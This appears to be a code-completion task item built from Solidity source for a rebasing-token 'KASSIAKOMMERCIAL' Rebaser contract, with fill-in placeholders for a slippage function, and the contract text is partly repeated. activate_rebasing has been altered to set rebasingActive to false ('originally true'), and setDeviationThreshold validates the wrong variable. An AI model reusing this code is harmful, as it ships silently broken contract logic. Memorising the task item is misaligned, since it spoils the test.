mintToReserves: 0 // how much kassiakommercials protocol mints to reserves
});
// tries to sell all mint + excess
// falls back to selling some of mint and all of excess
// if all else fails, sells portion of excess
// upon pair.swap, `uniswapV2Call` is called by the uniswap pair contract
if (isToken0) {
if (tokens_to_max_slippage > mintAmount.add(excess)) {
// we already have performed a safemath check on mintAmount+excess
// so we dont need to continue using it in this code path
// can handle selling all of reserves and mint
uint256 buyTokens = getAmountOut(mintAmount + excess, token0Reserves, token1Reserves);
uniVars.kassiakommercialsToUni = mintAmount + excess;
uniVars.amountFromReserves = excess;
// call swap using entire mint amount and excess; mint 0 to reserves
pair.swap(0, buyTokens, address(this), abi.encode(uniVars));
} else {
if (tokens_to_max_slippage > excess) {
// uniswap can handle entire reserves
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves);
// swap up to slippage limit, taking entire kassiakommercial reserves, and minting part of total
uniVars.mintToReserves = mintAmount.sub((tokens_to_max_slippage - excess));
pair.swap(0, buyTokens, address(this), abi.encode(uniVars));
} else {
// uniswap cant handle all of excess
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves);
uniVars.amountFromReserves = tokens_to_max_slippage;
uniVars.mintToReserves = mintAmount;
// swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount
// to reserves
pair.swap(0, buyTokens, address(this), abi.encode(uniVars));
}
}
} else {
if (tokens_to_max_slippage > mintAmount.add(excess)) {
// can handle all of reserves and mint
uint256 buyTokens = getAmountOut(mintAmount + excess, token1Reserves, token0Reserves);
uniVars.kassiakommercialsToUni = mintAmount + excess;
uniVars.amountFromReserves = excess;
// call swap using entire mint amount and excess; mint 0 to reserves
pair.swap(buyTokens, 0, address(this), abi.encode(uniVars));
} else {
if (tokens_to_max_slippage > excess) {
// uniswap can handle entire reserves
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves);
// swap up to slippage limit, taking entire kassiakommercial reserves, and minting part of total
uniVars.mintToReserves = mintAmount.sub( (tokens_to_max_slippage - excess));
// swap up to slippage limit, taking entire kassiakommercial reserves, and minting part of total
pair.swap(buyTokens, 0, address(this), abi.encode(uniVars));
} else {
// uniswap cant handle all of excess
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves);
uniVars.amountFromReserves = tokens_to_max_slippage;
uniVars.mintToReserves = mintAmount;
// swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount
// to reserves
pair.swap(buyTokens, 0, address(this), abi.encode(uniVars));
}
}
}
}
function uniswapMaxSlippage(
uint256 token0,
uint256 token1,
uint256 offPegPerc
)
internal
view
returns (uint256)
{<FILL_FUNCTION_BODY> }
/**
* @notice given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
*
* @param amountIn input amount of the asset
* @param reserveIn reserves of the asset being sold
* @param reserveOut reserves if the asset being purchased
*/
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
)
internal
pure
returns (uint amountOut)
{
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function afterRebase(
uint256 mintAmount,
uint256 offPegPerc
)
internal
{
// update uniswap
UniswapPair(uniswap_pair).sync();
if (mintAmount > 0) {
buyReserveAndTransfer(
mintAmount,
offPegPerc
);
}
// call any extra functions
for (uint i = 0; i < transactions.length; i++) {
Transaction storage t = transactions[i];
if (t.enabled) {
bool result =
externalCall(t.destination, t.data);
if (!result) {
emit TransactionFailed(t.destination, i, t.data);
revert("Transaction Failed");
}
}
}
}
/**
* @notice Calculates TWAP from uniswap
*
* @dev When liquidity is low, this can be manipulated by an end of block -> next block
* attack. We delay the activation of rebases 12 hours after liquidity incentives
* to reduce this attack vector. Additional there is very little supply
* to be able to manipulate this during that time period of highest vuln.
*/
function getTWAP()
internal
returns (uint256)
{
(uint priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// no period check as is done in isRebaseWindow
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed));
priceCumulativeLast = priceCumulative;
blockTimestampLast = blockTimestamp;
return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18));
}
/**
* @notice Calculates current TWAP from uniswap
*
*/
function getCurrentTWAP()
public
view
returns (uint256)
{
(uint priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// no period check as is done in isRebaseWindow
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed));
return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18));
}
/**
* @notice Sets the deviation threshold fraction. If the exchange rate given by the market
* oracle is within this fractional distance from the targetRate, then no supply
* modifications are made.
* @param deviationThreshold_ The new exchange rate threshold fraction.
*/
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyGov
{
require(deviationThreshold > 0);
uint256 oldDeviationThreshold = deviationThreshold;
deviationThreshold = deviationThreshold_;
emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_);
}
/**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each rebase.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_)
external
onlyGov
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the targetRate parameter.
* @param targetRate_ The new target rate parameter.
*/
function setTargetRate(uint256 targetRate_)
external
onlyGov
{
require(targetRate_ > 0);
targetRate = targetRate_;
}
/**
* @notice Sets the parameters which control the timing and frequency of
* rebase operations.
* a) the minimum time period that must elapse between rebase cycles.
* b) the rebase window offset parameter.
* c) the rebase window length parameter.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
* @param rebaseWindowOffsetSec_ The number of seconds from the beginning of
the rebase interval, where the rebase window begins.
* @param rebaseWindowLengthSec_ The length of the rebase window in seconds.
*/
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyGov
{
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
/**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/
function inRebaseWindow() public view returns (bool) {
// rebasing is delayed until there is a liquid market
_inRebaseWindow();
return true;
}
function _inRebaseWindow() internal view {
// rebasing is delayed until there is a liquid market
require(rebasingActive, "rebasing not active");
require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early");
require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late");
}
/**
* @return Computes in % how far off market is from peg
*/
function computeOffPegPerc(uint256 rate)
private
view
returns (uint256, bool)
{
if (withinDeviationThreshold(rate)) {
return (0, false);
}
// indexDelta = (rate - targetRate) / targetRate
if (rate > targetRate) {
return (rate.sub(targetRate).mul(10**18).div(targetRate), true);
} else {
return (targetRate.sub(rate).mul(10**18).div(targetRate), false);
}
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** 18);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/* - Constructor Helpers - */
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address token0,
address token1
)
internal
pure
returns (address pair)
{
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(
address tokenA,
address tokenB
)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
/* -- Rebase helpers -- */
/**
* @notice Adds a transaction that gets called for a downstream receiver of rebases
* @param destination Address of contract destination
* @param data Transaction data payload
*/
function addTransaction(address destination, bytes calldata data)
external
onlyGov
{
transactions.push(Transaction({
enabled: true,
destination: destination,
data: data
}));
}
/**
* @param index Index of transaction to remove.
* Transaction ordering may have changed since adding.
*/
function removeTransaction(uint index)
external
onlyGov
{
require(index < transactions.length, "index out of bounds");
if (index < transactions.length - 1) {
transactions[index] = transactions[transactions.length - 1];
}
transactions.length--;
}
/**
* @param index Index of transaction. Transaction ordering may have changed since adding.
* @param enabled True for enabled, false for disabled.
*/
function setTransactionEnabled(uint index, bool enabled)
external
onlyGov
{
require(index < transactions.length, "index must be in range of stored tx list");
transactions[index].enabled = enabled;
}
/**
* @dev wrapper to call the encoded transactions on downstream consumers.
* @param destination Address of destination contract.
* @param data The encoded data payload.
* @return True on success
*/
function externalCall(address destination, bytes memory data)
internal
returns (bool)
{
bool result;
assembly { // solhint-disable-line no-inline-assembly
// "Allocate" memory for output
// (0x40 is where "free memory" pointer is stored by convention)
let outputAddress := mload(0x40)
// First 32 bytes are the padded length of data, so exclude that
let dataAddress := add(data, 32)
result := call(
// 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB)
// + callValueTransferGas (9000) + callNewAccountGas
// (25000, in case the destination address does not exist and needs creating)
sub(gas, 34710),
destination,
0, // transfer value in wei
dataAddress,
mload(data), // Size of the input, in bytes. Stored in position 0 of the array.
outputAddress,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
} | contract KASSIAKOMMERCIALRebaser {
using SafeMath for uint256;
modifier onlyGov() {
require(msg.sender == gov);
_;
}
struct Transaction {
bool enabled;
address destination;
bytes data;
}
struct UniVars {
uint256 kassiakommercialsToUni;
uint256 amountFromReserves;
uint256 mintToReserves;
}
/// @notice an event emitted when a transaction fails
event TransactionFailed(address indexed destination, uint index, bytes data);
/// @notice an event emitted when maxSlippageFactor is changed
event NewMaxSlippageFactor(uint256 oldSlippageFactor, uint256 newSlippageFactor);
/// @notice an event emitted when deviationThreshold is changed
event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold);
/**
* @notice Sets the treasury mint percentage of rebase
*/
event NewRebaseMintPercent(uint256 oldRebaseMintPerc, uint256 newRebaseMintPerc);
/**
* @notice Sets the reserve contract
*/
event NewReserveContract(address oldReserveContract, address newReserveContract);
/**
* @notice Sets the reserve contract
*/
event TreasuryIncreased(uint256 reservesAdded, uint256 kassiakommercialsSold, uint256 kassiakommercialsFromReserves, uint256 kassiakommercialsToReserves);
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
// Stable ordering is not guaranteed.
Transaction[] public transactions;
/// @notice Governance address
address public gov;
/// @notice Pending Governance address
address public pendingGov;
/// @notice Spreads out getting to the target price
uint256 public rebaseLag;
/// @notice Peg target
uint256 public targetRate;
/// @notice Percent of rebase that goes to minting for treasury building
uint256 public rebaseMintPerc;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
uint256 public deviationThreshold;
/// @notice More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
/// @notice Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
/// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds.
uint256 public rebaseWindowOffsetSec;
/// @notice The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
/// @notice The number of rebase cycles since inception
uint256 public epoch;
// rebasing is not active initially. It can be activated at T+12 hours from
// deployment time
///@notice boolean showing rebase activation status
bool public rebasingActive;
/// @notice delays rebasing activation to facilitate liquidity
uint256 public constant rebaseDelay = 12 hours;
/// @notice Time of TWAP initialization
uint256 public timeOfTWAPInit;
/// @notice KASSIAKOMMERCIAL token address
address public kassiakommercialAddress;
/// @notice reserve token
address public reserveToken;
/// @notice Reserves vault contract
address public reservesContract;
/// @notice pair for reserveToken <> KASSIAKOMMERCIAL
address public uniswap_pair;
/// @notice last TWAP update time
uint32 public blockTimestampLast;
/// @notice last TWAP cumulative price;
uint256 public priceCumulativeLast;
// Max slippage factor when buying reserve token. Magic number based on
// the fact that uniswap is a constant product. Therefore,
// targeting a % max slippage can be achieved by using a single precomputed
// number. i.e. 2.5% slippage is always equal to some f(maxSlippageFactor, reserves)
/// @notice the maximum slippage factor when buying reserve token
uint256 public maxSlippageFactor;
/// @notice Whether or not this token is first in uniswap KASSIAKOMMERCIAL<>Reserve pair
bool public isToken0;
constructor(
address kassiakommercialAddress_,
address reserveToken_,
address uniswap_factory,
address reservesContract_
)
public
{
minRebaseTimeIntervalSec = 12 hours;
rebaseWindowOffsetSec = 28800; // 8am/8pm UTC rebases
reservesContract = reservesContract_;
(address token0, address token1) = sortTokens(kassiakommercialAddress_, reserveToken_);
// used for interacting with uniswap
if (token0 == kassiakommercialAddress_) {
isToken0 = true;
} else {
isToken0 = false;
}
// uniswap KASSIAKOMMERCIAL<>Reserve pair
uniswap_pair = pairFor(uniswap_factory, token0, token1);
// Reserves contract is mutable
reservesContract = reservesContract_;
// Reserve token is not mutable. Must deploy a new rebaser to update it
reserveToken = reserveToken_;
kassiakommercialAddress = kassiakommercialAddress_;
// target 10% slippage
// 5.4%
maxSlippageFactor = 5409258 * 10**10;
// 1 YCRV
targetRate = 10**18;
// twice daily rebase, with targeting reaching peg in 5 days
rebaseLag = 10;
// 10%
rebaseMintPerc = 10**17;
// 5%
deviationThreshold = 5 * 10**16;
// 60 minutes
rebaseWindowLengthSec = 60 * 60;
// Changed in deployment scripts to facilitate protocol initiation
gov = msg.sender;
}
/**
@notice Updates slippage factor
@param maxSlippageFactor_ the new slippage factor
*
*/
function setMaxSlippageFactor(uint256 maxSlippageFactor_)
public
onlyGov
{
uint256 oldSlippageFactor = maxSlippageFactor;
maxSlippageFactor = maxSlippageFactor_;
emit NewMaxSlippageFactor(oldSlippageFactor, maxSlippageFactor_);
}
/**
@notice Updates rebase mint percentage
@param rebaseMintPerc_ the new rebase mint percentage
*
*/
function setRebaseMintPerc(uint256 rebaseMintPerc_)
public
onlyGov
{
uint256 oldPerc = rebaseMintPerc;
rebaseMintPerc = rebaseMintPerc_;
emit NewRebaseMintPercent(oldPerc, rebaseMintPerc_);
}
/**
@notice Updates reserve contract
@param reservesContract_ the new reserve contract
*
*/
function setReserveContract(address reservesContract_)
public
onlyGov
{
address oldReservesContract = reservesContract;
reservesContract = reservesContract_;
emit NewReserveContract(oldReservesContract, reservesContract_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/** @notice Initializes TWAP start point, starts countdown to first rebase
*
*/
function init_twap()
public
{
require(timeOfTWAPInit == 0, "already activated");
(uint priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);
require(blockTimestamp > 0, "no trades");
blockTimestampLast = blockTimestamp;
priceCumulativeLast = priceCumulative;
timeOfTWAPInit = blockTimestamp;
}
/** @notice Activates rebasing
* @dev One way function, cannot be undone, callable by anyone
*/
function activate_rebasing()
public
{
require(timeOfTWAPInit > 0, "twap wasnt intitiated, call init_twap()");
// cannot enable prior to end of rebaseDelay
require(now >= timeOfTWAPInit + rebaseDelay, "!end_delay");
rebasingActive = false; // disable rebase, originally true;
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is 1e18
*/
function rebase()
public
{
// EOA only
require(msg.sender == tx.origin);
// ensure rebasing at correct time
_inRebaseWindow();
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = now.sub(
now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
// get twap from uniswap v2;
uint256 exchangeRate = getTWAP();
// calculates % change to supply
(uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate);
uint256 indexDelta = offPegPerc;
// Apply the Dampening factor.
indexDelta = indexDelta.div(rebaseLag);
KASSIAKOMMERCIALTokenInterface kassiakommercial = KASSIAKOMMERCIALTokenInterface(kassiakommercialAddress);
if (positive) {
require(kassiakommercial.kassiakommercialsScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < kassiakommercial.maxScalingFactor(), "new scaling factor will be too big");
}
uint256 currSupply = kassiakommercial.totalSupply();
uint256 mintAmount;
// reduce indexDelta to account for minting
if (positive) {
uint256 mintPerc = indexDelta.mul(rebaseMintPerc).div(10**18);
indexDelta = indexDelta.sub(mintPerc);
mintAmount = currSupply.mul(mintPerc).div(10**18);
}
// rebase
uint256 supplyAfterRebase = kassiakommercial.rebase(epoch, indexDelta, positive);
assert(kassiakommercial.kassiakommercialsScalingFactor() <= kassiakommercial.maxScalingFactor());
// perform actions after rebase
afterRebase(mintAmount, offPegPerc);
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes memory data
)
public
{
// enforce that it is coming from uniswap
require(msg.sender == uniswap_pair, "bad msg.sender");
// enforce that this contract called uniswap
require(sender == address(this), "bad origin");
(UniVars memory uniVars) = abi.decode(data, (UniVars));
KASSIAKOMMERCIALTokenInterface kassiakommercial = KASSIAKOMMERCIALTokenInterface(kassiakommercialAddress);
if (uniVars.amountFromReserves > 0) {
// transfer from reserves and mint to uniswap
kassiakommercial.transferFrom(reservesContract, uniswap_pair, uniVars.amountFromReserves);
if (uniVars.amountFromReserves < uniVars.kassiakommercialsToUni) {
// if the amount from reserves > kassiakommercialsToUni, we have fully paid for the yCRV tokens
// thus this number would be 0 so no need to mint
kassiakommercial.mint(uniswap_pair, uniVars.kassiakommercialsToUni.sub(uniVars.amountFromReserves));
}
} else {
// mint to uniswap
kassiakommercial.mint(uniswap_pair, uniVars.kassiakommercialsToUni);
}
// mint unsold to mintAmount
if (uniVars.mintToReserves > 0) {
kassiakommercial.mint(reservesContract, uniVars.mintToReserves);
}
// transfer reserve token to reserves
if (isToken0) {
SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount1);
emit TreasuryIncreased(amount1, uniVars.kassiakommercialsToUni, uniVars.amountFromReserves, uniVars.mintToReserves);
} else {
SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount0);
emit TreasuryIncreased(amount0, uniVars.kassiakommercialsToUni, uniVars.amountFromReserves, uniVars.mintToReserves);
}
}
function buyReserveAndTransfer(
uint256 mintAmount,
uint256 offPegPerc
)
internal
{
UniswapPair pair = UniswapPair(uniswap_pair);
KASSIAKOMMERCIALTokenInterface kassiakommercial = KASSIAKOMMERCIALTokenInterface(kassiakommercialAddress);
// get reserves
(uint256 token0Reserves, uint256 token1Reserves, ) = pair.getReserves();
// check if protocol has excess kassiakommercial in the reserve
uint256 excess = kassiakommercial.balanceOf(reservesContract);
uint256 tokens_to_max_slippage = uniswapMaxSlippage(token0Reserves, token1Reserves, offPegPerc);
UniVars memory uniVars = UniVars({
kassiakommercialsToUni: tokens_to_max_slippage, // how many kassiakommercials uniswap needs
amountFromReserves: excess, // how much of kassiakommercialsToUni comes from reserves
mintToReserves: 0 // how much kassiakommercials protocol mints to reserves
});
// tries to sell all mint + excess
// falls back to selling some of mint and all of excess
// if all else fails, sells portion of excess
// upon pair.swap, `uniswapV2Call` is called by the uniswap pair contract
if (isToken0) {
if (tokens_to_max_slippage > mintAmount.add(excess)) {
// we already have performed a safemath check on mintAmount+excess
// so we dont need to continue using it in this code path
// can handle selling all of reserves and mint
uint256 buyTokens = getAmountOut(mintAmount + excess, token0Reserves, token1Reserves);
uniVars.kassiakommercialsToUni = mintAmount + excess;
uniVars.amountFromReserves = excess;
// call swap using entire mint amount and excess; mint 0 to reserves
pair.swap(0, buyTokens, address(this), abi.encode(uniVars));
} else {
if (tokens_to_max_slippage > excess) {
// uniswap can handle entire reserves
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves);
// swap up to slippage limit, taking entire kassiakommercial reserves, and minting part of total
uniVars.mintToReserves = mintAmount.sub((tokens_to_max_slippage - excess));
pair.swap(0, buyTokens, address(this), abi.encode(uniVars));
} else {
// uniswap cant handle all of excess
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves);
uniVars.amountFromReserves = tokens_to_max_slippage;
uniVars.mintToReserves = mintAmount;
// swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount
// to reserves
pair.swap(0, buyTokens, address(this), abi.encode(uniVars));
}
}
} else {
if (tokens_to_max_slippage > mintAmount.add(excess)) {
// can handle all of reserves and mint
uint256 buyTokens = getAmountOut(mintAmount + excess, token1Reserves, token0Reserves);
uniVars.kassiakommercialsToUni = mintAmount + excess;
uniVars.amountFromReserves = excess;
// call swap using entire mint amount and excess; mint 0 to reserves
pair.swap(buyTokens, 0, address(this), abi.encode(uniVars));
} else {
if (tokens_to_max_slippage > excess) {
// uniswap can handle entire reserves
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves);
// swap up to slippage limit, taking entire kassiakommercial reserves, and minting part of total
uniVars.mintToReserves = mintAmount.sub( (tokens_to_max_slippage - excess));
// swap up to slippage limit, taking entire kassiakommercial reserves, and minting part of total
pair.swap(buyTokens, 0, address(this), abi.encode(uniVars));
} else {
// uniswap cant handle all of excess
uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves);
uniVars.amountFromReserves = tokens_to_max_slippage;
uniVars.mintToReserves = mintAmount;
// swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount
// to reserves
pair.swap(buyTokens, 0, address(this), abi.encode(uniVars));
}
}
}
}
<FILL_FUNCTION>
/**
* @notice given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
*
* @param amountIn input amount of the asset
* @param reserveIn reserves of the asset being sold
* @param reserveOut reserves if the asset being purchased
*/
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
)
internal
pure
returns (uint amountOut)
{
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function afterRebase(
uint256 mintAmount,
uint256 offPegPerc
)
internal
{
// update uniswap
UniswapPair(uniswap_pair).sync();
if (mintAmount > 0) {
buyReserveAndTransfer(
mintAmount,
offPegPerc
);
}
// call any extra functions
for (uint i = 0; i < transactions.length; i++) {
Transaction storage t = transactions[i];
if (t.enabled) {
bool result =
externalCall(t.destination, t.data);
if (!result) {
emit TransactionFailed(t.destination, i, t.data);
revert("Transaction Failed");
}
}
}
}
/**
* @notice Calculates TWAP from uniswap
*
* @dev When liquidity is low, this can be manipulated by an end of block -> next block
* attack. We delay the activation of rebases 12 hours after liquidity incentives
* to reduce this attack vector. Additional there is very little supply
* to be able to manipulate this during that time period of highest vuln.
*/
function getTWAP()
internal
returns (uint256)
{
(uint priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// no period check as is done in isRebaseWindow
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed));
priceCumulativeLast = priceCumulative;
blockTimestampLast = blockTimestamp;
return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18));
}
/**
* @notice Calculates current TWAP from uniswap
*
*/
function getCurrentTWAP()
public
view
returns (uint256)
{
(uint priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// no period check as is done in isRebaseWindow
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed));
return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18));
}
/**
* @notice Sets the deviation threshold fraction. If the exchange rate given by the market
* oracle is within this fractional distance from the targetRate, then no supply
* modifications are made.
* @param deviationThreshold_ The new exchange rate threshold fraction.
*/
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyGov
{
require(deviationThreshold > 0);
uint256 oldDeviationThreshold = deviationThreshold;
deviationThreshold = deviationThreshold_;
emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_);
}
/**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each rebase.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_)
external
onlyGov
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the targetRate parameter.
* @param targetRate_ The new target rate parameter.
*/
function setTargetRate(uint256 targetRate_)
external
onlyGov
{
require(targetRate_ > 0);
targetRate = targetRate_;
}
/**
* @notice Sets the parameters which control the timing and frequency of
* rebase operations.
* a) the minimum time period that must elapse between rebase cycles.
* b) the rebase window offset parameter.
* c) the rebase window length parameter.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
* @param rebaseWindowOffsetSec_ The number of seconds from the beginning of
the rebase interval, where the rebase window begins.
* @param rebaseWindowLengthSec_ The length of the rebase window in seconds.
*/
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyGov
{
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
/**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/
function inRebaseWindow() public view returns (bool) {
// rebasing is delayed until there is a liquid market
_inRebaseWindow();
return true;
}
function _inRebaseWindow() internal view {
// rebasing is delayed until there is a liquid market
require(rebasingActive, "rebasing not active");
require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early");
require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late");
}
/**
* @return Computes in % how far off market is from peg
*/
function computeOffPegPerc(uint256 rate)
private
view
returns (uint256, bool)
{
if (withinDeviationThreshold(rate)) {
return (0, false);
}
// indexDelta = (rate - targetRate) / targetRate
if (rate > targetRate) {
return (rate.sub(targetRate).mul(10**18).div(targetRate), true);
} else {
return (targetRate.sub(rate).mul(10**18).div(targetRate), false);
}
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** 18);
